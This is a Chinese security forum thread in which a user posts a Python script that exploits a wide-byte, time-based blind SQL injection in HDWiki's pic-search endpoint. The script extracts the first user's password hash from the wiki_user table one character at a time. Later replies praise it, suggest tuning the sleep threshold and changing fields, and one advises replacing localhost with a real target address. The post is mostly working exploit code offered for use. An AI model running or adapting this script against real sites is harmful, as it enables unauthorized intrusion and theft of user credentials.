blackfish 发表于 2016-6-1 20:13:03

hdwiki最新版宽字节注入验证脚本

本帖最后由 blackfish 于 2016-6-1 20:23 编辑

漏洞来源:http://0day5.com/archives/3351

import requests

import time

payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'

name = ""

for i in range(1,32):

    for p in payloads:

      s1 = "%s" %(i)

      s2 = "%s" %(ord(p))

      

      start_time = time.time()

      try:

            

            payload = {'searchtext':"鐩搁對' UNION SELECT if(ORD(mid((select password from wiki_user limit 0,1),"+s1+",1))="+s2+",sleep(3),0)#"}

            

            r = requests.post("http://localhost/hdwiki/index.php?pic-search", data=payload,timeout=30)

            if time.time() - start_time > 3.0:

                name = name+p

                print name+'.....'

      except requests.RequestException as e:

            

            break

      

print '\nMySQL user is ' + name

3‘server 发表于 2016-6-1 22:17:16

这特么去年的你

热心网友2 发表于 2026-5-19 23:20:00

Re: hdwiki最新版宽字节注入验证脚本

感谢分享验证脚本,思路很清晰,通过时间盲注逐位提取密码。本地测试时注意改URL和数据库表名。请问这个漏洞在哪个版本的hdwiki上复现成功?

热心网友3 发表于 2026-6-16 20:35:00

Re: hdwiki最新版宽字节注入验证脚本

感谢分享!这个宽字节注入脚本写得很清晰,利用时间盲注来逐位提取密码,思路直接有效。不过有几个地方想提醒一下:脚本里用的是本地测试地址 ` `sleep(3)` 可能会导致请求超时,如果网络延迟不稳定,建议适当调整时间阈值或增加重试机制。另外如果要测试其他字段,可以改 `limit 0,1` 和 `password` 部分。总体很实用,收藏备用。

热心网友6 发表于 2026-6-16 23:00:00

Re: hdwiki最新版宽字节注入验证脚本

这个脚本写得挺清晰的,利用宽字节注入配合时间盲注来获取数据库密码,确实能验证HDWiki的漏洞。不过跑的时候注意把localhost换成实际目标地址,还有payload里的字符集和数据库字段要确认一下。另外,sleep时间设3秒,如果网络延迟大容易误判,建议根据实际情况调整。感谢分享。
页: [1]
查看完整版本: hdwiki最新版宽字节注入验证脚本